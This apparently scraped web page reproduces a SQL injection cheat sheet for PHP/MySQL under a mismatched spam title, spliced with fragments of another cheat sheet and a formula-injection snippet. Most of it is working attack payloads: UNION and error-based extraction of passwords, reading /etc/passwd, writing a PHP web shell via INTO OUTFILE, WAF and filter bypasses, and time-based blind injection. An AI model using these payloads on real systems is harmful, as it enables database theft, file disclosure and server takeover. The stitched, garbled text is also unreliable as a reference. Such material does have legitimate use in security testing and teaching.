Url Injection Cheat Sheet

Posted : admin | On 30-04-2021

Cheat Sheet Recipes
Url Injection Cheat Sheet For Nurses

Slack3rsecurity’s SQL injection cheatsheet 2011.

Hello world! I have decided to write a cheatsheet containing all that i have learnt from 2 years in the web application security field, in this post i will be focusing on SQL injection in regards to a PHP/MySQL enviroment .

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SQL-Injection-cheat-sheet First try to figure out the vulnerable parameter NOTE: If it's a GET request don't forget to url encode the characters. Param=' - try to get error param=' - try to get error param=' or 1=1 - try if it works param=' or 1=0 - check if it returns nothing param=' and 1=1 - check. SQL Injection Cheatsheet SQL injection is one of the most common Website security Vulnerability. It is a code injection vulnerability that might dump your database. Hope, the SQL Injection Cheatsheet is the great source to find the vulnerabilities and help to protect your website. Following cheat sheet to inject formulas to disclose information, exfiltrate data/credentials, or obtain remote code execution: Formula initiating characters = =SUM(1,1) - SUM(1,1) + +SUM(1,1) @ @SUM(1,1) Useful Formulas for Injection NOW Can be used to determine if real -time server side formula evaluation is being performed.

/* – Multi line comment.

# – single line comment.

— – single line comment.

/*!*/ – Mysql special comments.

Whitespaces.

+, %2B, %20, %09, %0d ,%0А, /**/, /*foo*/

Global system variables

@@datadir // Mysql data directory.

@@version_compile_os – //OS Mysql is running on.

@@version – //Mysql database version.

user() – //Current database user.

@@log_error – //Path to error log.

database() – //Current database.

Columns in a SELECT.

file.php?var=1 order by 10– //Unknown column ’10’ in ‘order clause’

file.php?var=1 and(select * from table)=(1)– //Operand should contain 9 column(s)

Encoding. //For matching collations.

file.php?var=1 union select cast(version() as latin1)– //5.0.11

file.php?var=1 union select convert(version() as binary)– //5.0.11

file.php?var=1 union select aes_decrypt(aes_encrypt(version(),1),1)– //5.0.11

file.php?var=1 union select unhex(hex(versions()))– //5.0.11

File_priv.

file.php?var=1 union select user()– //Checking current user. root@localhost

file.php?var=1 union select file_priv from mysql.user where user=’root’– //Checking for the file priveledge on current user, Y =Yes N=No.

file.php?var=1 union select load_file(‘/etc/passwd’)– // Loading system files.

file.php?var=1 and+(select+1+from+(select+count(0),concat((select+load_file(‘/etc/passwd’),floor(rand(0)*2))+from+information_schema.tables+group+by+2+limit+1)a)– // Loading system files with error based injection.

file.php?var=1 union select “<?php system($_GET[c]);?>” into outfile ‘/dir/dir/shell.php’– // Write code to a file.

file.php?var=1 limit 1 into outfile ‘/dir/dir/shell.php’ lines terminated by “<?php system($_GET[c]);?>”–+ //Write to a file.

WAF & security bypasses.

file.php?var=1 /*!union*/ /*select*/ version()– //MySQL comments.

file.php?var=1 unUNIONion seleSELECTct version()– //Filter bypass

file.php?var=1/**/union/**/select/**/version()– //Whitespace bypass

file.php?var=1 UnION SElecT version()– //Mixed upper/lower

file.php?var=1 uni/**/on sel/**/ect version()– //php comments.

file.php?var=1 uni%6Fn select version()– //URL encoding.

file.php?var=1 %252f%252a*/union%252f%252a /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users– //Taking advantage of a WAF that only decodes input once.

file.php?var=1 0x414141414141414141414141414141414141 union select version()– //Buffer overflow.

file.php?var=1 union select 0x3a3a3a– //Encode to bypass magic quotes.

Extracting data from MySQL errors.

Rand()

file.php?var=1 and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)–

file.php?var=1 or (select count(*)from(select 1 union select 2 union select 3)x group by concat(mid((select version() from information_schema.tables limit 1),1,64),floor(rand(0)*2)))–

file.php?var=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand(0)*2)) x from (select 1 union select 2)a group by x limit 1) —

file.php?var=1 or (select count(*) from table group by concat(version(),floor(rand(0)*2)))–

file.php?var=1 union select password from users where id=1 and row(1,1)>(select count(*),concat( (select users.password) ,0x3a,floor(rand()*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) —

Name_const(Mysql 5.0.12 > 5.0.64)

file.php?var=1 or(1,2)=(select * from(select name_const(version(),1),name_const(version(),1))a)–

Extractvalue & updatexml (MySQL 5.1+)
file.php?var=1 and extractvalue(rand(),concat(0x3a,version()))– //Xpath error

file.php?var=1 and updatexml(rand(),concat(0x3a,version()))– //Xpath error

Misc.

file.php?var=(@:=1)or@ group by concat(@@version,@:=!@)having@||min(0)– //Credits BlackFan.

file.php?var=(@:=9)or@ group by left(@@version,@:=~@)having@||min(0)– //Credits Blackfan.

file.php?var=1 UNION SELECT * FROM (SELECT version() FROM information_schema.tables JOIN information_schema.tables b)a–

Injecting into an order by

file.php?var=(select if(substring(version(),1,1)=4,1,(select 1 union select 2)))–

file.php?var=1,ExtractValue(1,concat(0x5c,(sele ct table_name from information_schema.tables limit 1)))–

Cheat Sheet Recipes

Blind.

file.php?var=1 and IF(ASCII(SUBSTRING((SELECT version()),1,1)))>=100,1, BENCHMARK(2000000,MD5(NOW()))) — //time based BSQLi

file.php?var=1 and IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) — //Time based BSQLi

file.php?var=1 AND (SELECT @a:=MID(BIN(FIND_IN_SET(MID(table_name,1,1), ‘a,b,c,d,e,f
,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,0,1,2,3,4,5,6,7,8,9,_,!,@,#,
$,%,^,&,*,(,),-,+,=,.,”,’,~,`,|,{,},[,],:,;, ,’)),1,1) FROM in
formation_schema.tables LIMIT 1)=@a AND IF(@a!=”,@a,SLEEP(5))– //BSQLi using bit shifting credits to http://www.websec.ca

Have a question or something you have to add? shoot me a message.

Helpfull links.

http://www.websec.wordpress.com //Great blog & good posts on web application security.